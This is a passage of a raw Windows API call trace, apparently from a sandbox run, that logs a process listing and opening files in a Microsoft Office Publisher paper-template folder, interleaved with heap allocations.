0x12 [0069.620] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.621] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0069.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.621] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0069.621] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1071888 [0069.621] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1071888, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1071888, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1071888) returned 1 [0069.621] NtClose (Handle=0x148) returned 0x0 [0069.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.622] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.624] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.624] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x182b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPERS.INI", cAlternateFileName="")) returned 1 [0069.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.624] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1063ed8 [0069.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102fc18 [0069.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1750ab0 [0069.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.625] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3bb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR10F.GIF", cAlternateFileName="")) returned 1 [0069.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102fc38 [0069.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1750bb8 [0069.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.625] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x142f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR11F.GIF", cAlternateFileName="")) returned 1 [0069.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.626] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.626] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102fc58 [0069.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1750cc0 [0069.626] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.626] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x46df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR12F.GIF", cAlternateFileName="")) returned 1 [0069.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.626] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.626] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102fc78 [0069.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1750dc8 [0069.627] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.627] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x430d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR13F.GIF", cAlternateFileName="")) returned 1 [0069.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.627] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.627] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102fc98 [0069.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1750ed0 [0069.627] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.627] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5cb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR14F.GIF", cAlternateFileName="")) returned 1 [0069.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.627] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.627] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102fcb8 [0069.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1750fd8 [0069.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.628] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR15F.GIF", cAlternateFileName="")) returned 1 [0069.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102fcd8 [0069.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x17510e0 [0069.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.628] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x399f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR16F.GIF", cAlternateFileName="")) returned 1 [0069.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102fcf8 [0069.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x17511e8 [0069.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.629] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2bb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR17F.GIF", cAlternateFileName="")) returned 1 [0069.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102fd18 [0069.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x17512f0 [0069.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.629] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x41f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR18F.GIF", cAlternateFileName="")) returned 1 [0069.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102fd38 [0069.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x17513f8 [0069.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3d00) returned 0x1071888 [0069.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x106dbc0) returned 1 [0069.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.630] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR19F.GIF", cAlternateFileName="")) returned 1 [0069.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106dbd8 [0069.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1751500 [0069.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.630] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd98, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR1B.GIF", cAlternateFileName="")) returned 1 [0069.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.631] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106dbf8 [0069.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1751608 [0069.631] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.631] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xf6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR1F.GIF", cAlternateFileName="")) returned 1 [0069.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.631] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.631] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106dc18 [0069.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1751710 [0069.631] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.631] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3408, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR20F.GIF", cAlternateFileName="")) returned 1 [0069.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.632] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.632] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106dc38 [0069.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1751818 [0069.632] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.632] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR21F.GIF", cAlternateFileName="")) returned 1 [0069.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.632] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.632] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106dc58 [0069.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1751920 [0069.632] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.632] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR22F.GIF", cAlternateFileName="")) returned 1 [0069.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106dc78 [0069.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1751a28 [0069.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.633] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x313b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR23F.GIF", cAlternateFileName="")) returned 1 [0069.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.633] 